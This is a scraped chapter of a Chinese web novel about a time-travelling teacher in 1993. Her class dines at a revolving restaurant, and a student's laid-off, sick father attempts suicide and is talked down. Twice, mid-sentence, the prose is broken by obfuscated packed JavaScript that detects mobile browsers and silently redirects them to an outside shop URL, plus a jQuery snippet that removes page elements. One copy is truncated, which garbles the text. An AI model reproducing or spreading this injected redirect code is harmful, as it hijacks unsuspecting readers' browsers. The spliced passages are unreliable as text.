“徐老师,你怎么把我们想得这么坏啊,”旁边的周文瑞娇嗔,恶心得周围一圈人齐齐翻了个白眼,“好啦,是昭姐说钱放在那儿也没有用,我们商量之后,就让我爸代理,帮忙拿去做了点小生意,赚了点。” 徐嘉禾满脸震撼地看向谢昭,谢昭面无表情地点了点头,一副理所当然的样子。 “行吧,那你们跟我说这个是干什么?”徐嘉禾平复了一下心情,问,“想挪用公款了?” 几个人对视一眼,这次是周文瑞先开口,他嘿嘿一笑:“徐老师,你还记得市中心那座新盖的大高楼不?就那个去年刚建成的,三十多层那个。” 徐嘉禾想了想,好像是有这么个建筑:“记得,怎么了?” 去年她刚来这个时代的时候还在建,后来不知道什么时候就完工了,成了锦宁的新地标,她每天骑车上下班会路过,但还从来没进去过。 “那楼顶上有个旋转餐厅自助餐,”吕晓杨接话,“可高级了,听说能一边吃饭一边俯瞰整个锦宁。” 徐嘉禾隐约明白他们要说什么了。 “所以我们想,”谢昭顿了顿,难得有些不好意思,“用班费请大家去吃一顿。” 徐嘉禾眨了眨眼,没说话。 周文瑞赶紧补充:“徐老师你放心,我们算了,钱绝对够!昭姐说就当是……给大家的奖励了。” “奖励?”徐嘉禾挑眉。 “对,”谢昭抬起头,认真地看着她,“徐老师,这一年多,大家真的拼了命在学。我们班从年级倒数,到现在稳定在前五;从没人看得起,到现在谁都说我们是好班,这一切,是你带着我们做到的。” “所以,我和班上的其他同学商量了一下,想着在高考前再聚个餐,算是……算是感谢大家这一年多的努力,也感谢你。” “好啊,”徐嘉禾想了想,也没有再推脱,“既然大家都已经商讨好了,那我自然没有反对的道理。” 经过一群人的商议,时间最后定在学校百日誓师那天,下午百日誓师活动结束,晚上去吃自助餐。 那天下午,五班的学生们早早就开始准备了,大家都翻出了自己最好的衣服,还有人去理发店吹了头发。 徐嘉禾也被谢昭拉着换了一身衣服,她穿了一件白色衬衫配深蓝色长裙,头发扎起来,显得格外青春活力。 “徐老师,你这套衣服特别好看。”吕晓杨真诚地夸赞。 徐嘉禾低头看着自己,一时间也有些恍惚,毕竟她来这里快两年了,好像真的变了不少。 ……用人话说就是沧桑了,看起来比之前老了好多岁。 五班的学生们从班门口集合,浩浩荡荡地就往锦宁大厦进发,一路上一群人欢声笑语、叽叽喳喳,引得路人纷纷侧目。 “你们班这是去哪儿?”有别的班的学生问。 “吃饭!”周文瑞得意洋洋,“旋转餐厅,知道不?锦宁大厦那个!没去过吧?” “骗人的吧?” “骗你干嘛,我们自己挣的班费!” 1993年4月的锦宁,天气还没有热起来,就连阳光也淡淡的,照在身上没什么温度。 站在锦宁大厦楼下、仰头看向那个直插云霄的建筑,所有人都忍不住倒吸了一口冷气。 三十八层的建筑,在三十年后或许不算什么,但在1993年的锦宁,那就是实实在在的第一楼。 “电梯好高啊……” “我怎么觉得我有点腿软……” 许多人都还是第一次坐电梯,遇到新鲜事物又紧张又新奇。 周文瑞得意洋洋:“怎么样?厉害吧?我选的!” “又不是你建的,”谢昭白了他一眼,“得意什么。” “到了到了!”电梯门一开,周文瑞第一个冲出去。 旋转餐厅比他们想象的还要漂亮。 整个餐厅是圆形的,四周全是落地玻璃窗,此刻天色渐暗,华灯初上,整个锦宁的夜景在窗外铺陈开来,街道纵横交错、灯火星星点点,远处还有亮着灯的高楼。 这样的景色,让徐嘉禾来看或许寒酸了些,但对五班的孩子们来说,再繁华、在有趣不过了。 三十多个人挤在窗边,脸贴着玻璃往下看,徐嘉禾站在人群后面,看着他们兴奋的样子,嘴角也跟着忍不住上扬。 餐厅的服务员显然没见过这么大的阵仗,愣了好一会儿才反应过来:“请问……你们是?” “我们是锦大附中高二五班的,”周文瑞从震撼中回过神来,笑着说,“应该有预约,麻烦您看一下。” 拿了餐票,学生们一窝蜂地涌向餐台,拿盘子的拿盘子,夹菜的夹菜,场面一度混乱。 谢昭本来想让他们冷静点。别那么丢人,喊了两嗓子没人听,索性放弃了,自己端着盘子去拿吃的。 她刚夹了一盘菜,就听见周文瑞在那边大喊:“昭姐,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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话题就这样从旋转餐厅转到了未来,从未来转到了离别,气氛忽然伤感起来。 徐嘉禾站起身,走到窗边,三十多双眼睛齐刷刷看着她。她指了指窗外:“看见那些灯了吗?” 窗外,城市的灯火星星点点。 “每盏灯后面或许都有一户人家,”她说,“每户人家都有自己的故事。” “你们以后也会是这样,或许有人会去首都、有人会去锦宁、有人会去别的什么地方;每个人都会有自己的工作、自己的家庭、自己的生活。” “但是,无论你们走到哪里,这三年你们都会一直记在心里。至于聚不聚,散不散,”徐嘉禾笑了笑,“那得看你们自己。想聚,总能聚起来;不想聚,天天见面也是陌生人。” 学生们一时间安静下来,每个人都在想徐嘉禾的话的含义。 “你们怎么还坐在这儿聊天啊?”原本已经开始要煽情的氛围,忽然被周文瑞的喊叫声打破了,“快去拿吃的,那个烤鸡特别好吃,再不去就没了!” 谢昭:“……你能不能有点出息?” “我这叫活在当下。”周文瑞理直气壮。 谢昭无语地看着周文瑞眉飞色舞的样子,忽然问:“周文瑞,你以后想做什么?” 周文瑞:“?” 周文瑞难以置信地看着谢昭:“我们的话题为什么从烤鸡跳到了未来?” “没有为什么,”谢昭催促,“你倒是说啊?” “昭姐,你知道吗,你这话问出来,我觉得你有点像我妈了,每次都在吃饭的时候问成绩的那种。”周文瑞嘀嘀咕咕半天,最后还是老老实实想象,“我也不知道我想做什么……可能就跟我爸一样,开个店吧?” “开店?”谢昭追问,“开什么店?在哪儿开?卖什么?” 周文瑞被她问得一愣一愣的:“昭姐,你查户口呢?” 周文瑞被谢昭赶去思考人生和未来了,谢昭看着徐嘉禾,忽然问:“徐老师,你会一直在锦宁吗?” 徐嘉禾正听他们俩拌嘴听得正开心呢,闻言忽然愣了一下。 她会一直在这儿吗? 这个问题,连她自己都不知道答案。 她不知道自己什么时候会突然回到那个属于她的时代,或者突然消失在某个清晨,就像她突然出现在这里一样。 “或许吧,”徐嘉禾听见自己说,“但不用担心,至少现在,我会在这儿。” 38. 第 38 章 命运的齿轮不会停止转动。 1993年的春天,对很多人来说是充满希望的春天,但同样对很多人来说,也是寒冬的开始。 四月末的一天,徐湛没来上学,这在过去一年多里是从来没有过的事,徐湛这个人,就算发烧到三十九度,也会坚持来学校,然后被谢昭骂着撵去医务室。 但他今天没有来学校。 一开始,徐嘉禾没觉得有什么不对,毕竟徐湛是人又不是机器人,也不可能真的连轴转一两年都不停,说不定就是太累了想歇一歇呢? 然而,很快所有人都发现这段时间,徐湛像变了个人。 他的作业开始出现以前从未有过的错误,上课时会突然发呆,有一次被老师点名回答问题,他站起来愣了好几秒,才磕磕巴巴地说出答案。 谢昭急得不行,课间拉着他问东问西,徐湛每次都摇头:“没事,就是没睡好。” 徐嘉禾同样看在眼里,急在心里。她找徐湛谈过几次,徐湛也摇头:“徐老师,我没事,真的没事。” 可他的成绩不会骗人,一模考试,徐湛的排名掉到了班级二十几名,这是他上高中以来,考得最差的一次。 成绩公布那天,谢昭把徐湛堵在了机房门口。 “徐湛,你到底在想什么?”她语气很冲,但眼神里全是担忧,“你到底怎么了?你这样下去,高考怎么办?” 徐湛低着头抿着唇,就是不说话。 “你说话啊!”谢昭急道。 “我不知道,”徐湛终于开口了,声音无比沙哑,“谢昭,我真的不知道。我不知道我该想什么,也不知道我应该做什么。” 他抬起头,谢昭看见他的眼眶红了。 徐湛的父亲是锦宁一家国营纺织厂的工人,这家厂子曾经是锦宁的支柱企业,但这两年效益越来越差,已经连续几个月发不出工资了。 三月底开始,他回家的时间越来越晚,有时候徐湛写完作业,听见楼道里终于响起熟悉的脚步声,再抬头看钟时,已经快十点了。 “爸,怎么这么晚?”徐湛问。 徐父总是疲惫地笑笑:“加班嘛,提高绩效。” 徐湛似懂非懂地点了点头,倒也没多想,只是继续低头看书。 但有一天夜里,他起夜时,意外听见父母在屋里小声说话。 “老徐,你们厂到底怎么回事?”母亲的声音带着担忧,“这个月工资又只发了一半?” “别问了,我能拿到已经很不容易了,”父亲的声音很低,“睡吧。” “我能不问吗?家里就指望着你那点工资,现在一半都发不出来,咱们怎么过?小湛马上就高考了,万一考上大学,学费怎么办?” “我说了别问了!”父亲突然提高声音,随即又低沉了下去,“……会有办法的。” 徐湛站在门外,浑身冰凉。 一直到四月底,事情终于走向了不可控的地步。 虽说现在还没有开始全面下岗潮,但那部分已经开始发不出全额工资的工厂,已经开始给员工放长假了。 员工的档案里不是下岗职工,只是停薪留职,但实际上人已经回家待着待岗了。 这对于一些想要南下的有志青年来说,或许是一次机会,但对于一些原本稳定幸福的家庭来说,却是灭顶之灾。 徐湛的父亲,就在这一批停薪留职的名单上。 徐父回到家,把自己关在屋里,三天没出来。 徐母不敢问,徐湛也不敢问。 第四天,徐父出来了,他坐在饭桌前,看着妻儿,忽然笑了:“没事,厂里说了,以后效益好了还叫我回去。我就当提前退休了,歇歇也好。” 他说得轻松,但徐湛看见,父亲的手一直在抖。 接下来的日子,徐父开始四处找工作。 但四十六岁的下岗工人,在这个突飞猛进、较以前变得再陌生不过的时代里,处处碰壁。 他去过建筑工地,人家嫌他年纪大;去过私营厂,人家嫌他没技术;甚至去蹬过三轮,一天下来挣不到几块钱。 谢昭越听越迷茫,她没想到徐湛的家人面对的居然是这样的情况,一时间有些手足无措:“那……那你……” “所以我没事,你不用担心我,”徐湛打断她,勉强扯出一个笑,“真的,就是最近有点累。” 谢昭张了张嘴,想说什么,却发现自己什么都说不出来。 那天之后,或许是因为把心里的郁结说了出来,徐湛的状态稍微好了一些,只是还是没能回到从前。 他开始更加拼命地学习,没日没夜做题,连写代码的事情都放到一边了。他仿佛要把所有的时间都用学习填满,谢昭看着心疼,又不知道该怎么帮他,只能默默陪在他身边。 直到五月中旬,一个消息传来,彻底击垮了徐湛。 操劳过度、思虑过重,徐湛的父亲终于病倒了。 那天徐湛正在上课,忽然被叫去办公室,他接起电话,那头传来母亲带着哭腔的声音:“小湛,你爸住院了,你快回来一趟。” 徐湛赶到医院时,父亲已经进了手术室,母亲坐在走廊的长椅上,脸色苍白,看见他来,终于忍不住哭了。 后来徐湛才知道,父亲是胃癌早期,说实话还能治,但是需要做手术,需要钱,很多很多钱。 而他们家,已经好几个月没有收入了。 从那天起,徐湛每天一放学就往医院跑,陪父亲说话,给父亲削水果,帮母亲照顾父亲,他的眼睛下面永远是青黑的,脸色憔悴得吓人。 一个下午,徐湛放学后来医院换妈妈的班。等待护士查房的间隙,他在医院走廊的长椅上睡着了。 他已经三天没好好合眼了,每天白天上课,晚上陪床,困了就靠在椅子上眯一会儿,母亲劝他回家睡,他不肯,说怕父亲半夜有事。 但这天,他实在是坚持不住了。 不知睡了多久,一阵阴风吹来,徐湛猛地惊醒了。 走廊里一个人也没有,灯惨白惨白,照得人眼睛发酸。他下意识往病房的方向看了一眼,门虚掩着,里面黑漆漆的。 不对。 徐湛猛地站起身,推开病房的门,床上空空荡荡,被子掀开一角,输液架孤零零地立在旁边。 “爸?”他的声音在空荡的病房里回荡。 没有人应答。 徐湛冲出去,在走廊里疯了一样地跑,他有一种预感自己的父亲去哪里了。 楼梯间的门不知道被谁打开了,冷风直直地灌进来,徐湛气喘吁吁地听在了门口,看见父亲的背影站在窗户前,夕阳的光勾勒出他的轮廓。 “爸。”徐湛的声音很轻,害怕刺激到父亲就这样跳下去。 徐父没有回头。 “爸,你别动,”徐湛往前走了一步,“我来接你回去。” “小湛,你听爸说。”徐父打断他,慢慢转过身。 血红色的阳光下,徐父的脸瘦得脱了相,眼窝深陷。他看着徐湛,眼神里有愧疚,有不舍,还有平静与疯狂。 “爸对不起你,”他说,“没能给你攒够上大学的钱,还让你跟着操心钱,是爸没用。” 徐嘉禾听到这个消息的时候差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260065|195938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点吓晕过去,她跟着同样惊恐的谢昭一起,往医院狂奔过去。 楼下已经围了一圈人,仰着头往上看。徐嘉禾顺着他们的目光望去,倒吸一口冷气。 医院四楼的窗台上,站着一个中年男人。 他穿着病号服,头发花白,瘦削的身影在风中摇摇欲坠。窗户大开着,他就站在窗沿上,一只手扶着窗框,整个人悬在半空。 “老徐!你别想不开啊!”楼下有人在喊。 “快下来!有什么话好好说!” 但那人仿佛听不见,只是呆呆地看着远方,一动不动。 徐嘉禾只觉得浑身的血都涌上了头顶,却见徐湛已经爬到了徐父身边,一只手死死抓着他的手臂。 父子俩就这样对峙着,一个在窗台上,一个在窗边。 徐嘉禾看见徐湛为了彻底抓住徐父,半个身子都探出了窗外。旁边有两个工人模样的人正试图从上面那层楼靠近,但窗台太窄,他们试了几次都成功不了。 徐嘉禾回头,见谢昭脸色煞白,抬腿就往楼上冲。 “谢昭!”徐嘉禾一把拉住她,“你去干什么?” “我去帮他!”谢昭喊道,“徐湛现在很危险!” “你不能去!”徐嘉禾死死拽住她的胳膊,“你上去只会添乱!” 谢昭挣扎了两下,最终还是停住了。 她抬头看着楼上那两个身影,眼眶通红,嘴唇抿得死紧。 楼上,徐湛还在和他父亲僵持。 “爸,你听我说,”他的声音已经哑了,“厂没了可以再找,工作没了可以再找,但你没了,我就真的什么都没有了!” 男人的身体僵了一下。 “爸,你想想我妈,想想我,”徐湛的眼泪流下来,“你要是跳下去,我们怎么办?你让我们怎么活?” 他一边说着,一边小心翼翼、慢慢地把父亲往里拉,一步,两步,三步…… 终于,男人的身体从窗台上消失了。 楼下爆发出一阵欢呼声,有人哭了,有人鼓掌。 徐嘉禾只觉得腿一软,差点坐在地上,心中庆幸徐父到底是没有下定这个寻死的决心,而谢昭已经冲上楼去了。 等徐嘉禾爬上六楼的时候,徐湛正瘫坐在楼梯间门口,脸色惨白,浑身都在发抖。 徐父被扶回了床上,低着头,肩膀一耸一耸的,不知道是在哭还是在喘气;徐湛的母亲站在床边,抱着丈夫痛哭不止。 谢昭蹲在徐湛旁边,一句话也没说,只是握着他的手,徐嘉禾走过去,在徐湛面前蹲下。 “徐湛,”她轻声说,“没事了。” 徐湛抬起头,看着她。那双眼睛里满是血丝,还有劫后余生的惊惧和后怕。 “徐老师,”他的声音像是从牙缝里挤出来的,“我爸他……” “他没事了,”徐嘉禾轻轻拍了拍他的肩膀,“你救了他。” 徐湛的眼泪终于掉了下来。 从医院出来的时候,已经是晚上九点多了,谢昭走在徐嘉禾旁边,一路上一句话也没说。 “徐老师,”一直到两人走出医院,即将分开走,谢昭才艰难地开口,“你说,为什么会这样?” 徐嘉禾看着她。 “徐湛他爸是那么好的人,我每次见到他的时候他都笑呵呵的,”谢昭的声音有点抖,“他怎么就……” 她说不下去了,而徐嘉禾也沉默了片刻,伸手轻轻揽住她的肩膀。 “没有为什么,”她说,“世界在发生改变,这个过程中,总会有人受伤。” “这不是任何人的错。”